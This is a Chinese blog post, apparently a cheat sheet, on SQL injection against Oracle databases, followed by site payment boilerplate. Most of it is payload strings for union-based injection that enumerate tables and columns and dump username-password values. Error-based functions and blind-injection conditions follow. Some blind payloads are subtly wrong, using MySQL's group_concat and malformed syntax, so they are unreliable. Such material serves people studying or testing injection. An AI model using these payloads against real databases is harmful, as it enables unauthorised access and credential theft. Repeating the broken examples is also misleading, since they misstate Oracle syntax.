Orcale注入

1. 联合查询注入

在MySQL中查询语句可以直接是:select 1,2,但是在Oracle中就必须跟一个表名,如下:select * from dual。以下是orcale数据库查询的基本用法:

​ select table_name from all_tables 查询出所有的表

​ select table_name from user_tables 查询出当前用户的表

​ select column_name from all_tab_columns 查询出所有的字段

​ select column_name from user_tab_columns 查询出当前用户的字段

​ select * from v$version 查版本

​ rownum=1 类似于mysql中的 limit 0,1

DBA_TABLES 显示的是数据库中所有表(所有表DBA都可以操作)

ALL_TABLES 显示与当前用户可访问的表 (只要对某个表有任何权限,即可在此视图中看到表的相关信息)

USER_TABLES 显示当前用户拥有的表

报错流程

​ 原始语句:select * from admin where id=1

​ //Orcale是强类型语言,因此要判断字段的类型

​ select * from admin where id=-1 union select null,null,null,null from dual

​ //判断回显位置

​ select * from admin where id=-1 union select 2,‘a’,‘b’,‘c’ from dual

​ //获取表名(假设为tablename)

​ id=-1 union select 2,(select wm_concat(table_name) from user_tables),‘b’,‘c’ from dual

​ //获取字段名(假设为user,password)

​ id=-1 union select 2,(select wm_concat(column_name) from user_tab_columns where table_name=‘tablename’),‘b’,‘c’ from dual

​ //获取单元格的值

​ id=-1 union select 2,(select wm_concat(user||’-’||password||’-’) from tablename),‘b’,‘c’ from dual

2. 报错注入

步骤类似于mysql报错注入;只是函数不同。
同时在使用是注意区分截断函数substr(),聚合函数wm_concat(),rownum的使用

dbms_xdb_version.checkin()函数

dbms_xdb_version.uncheckout()函数

dbms_utility.sqlid_to_sqlhash()函数

3. 盲注

ascii编码方式

id=1 and select ascii(substr(group_concat(name),1,1) from table) > 0

###decode()函数用法:

decode(条件,值1,翻译值1,值2,翻译值2,…值n,翻译值n,缺省值)

if(条件值1)>返回翻译值1,否则返回缺省值

​ id=1 and 1=(select decode**(substr(group_concat(user),1,1),‘B’,1,0**) from dual) --+

​ //如果是B就返回1,不是就返回0

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

牛顿编程

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值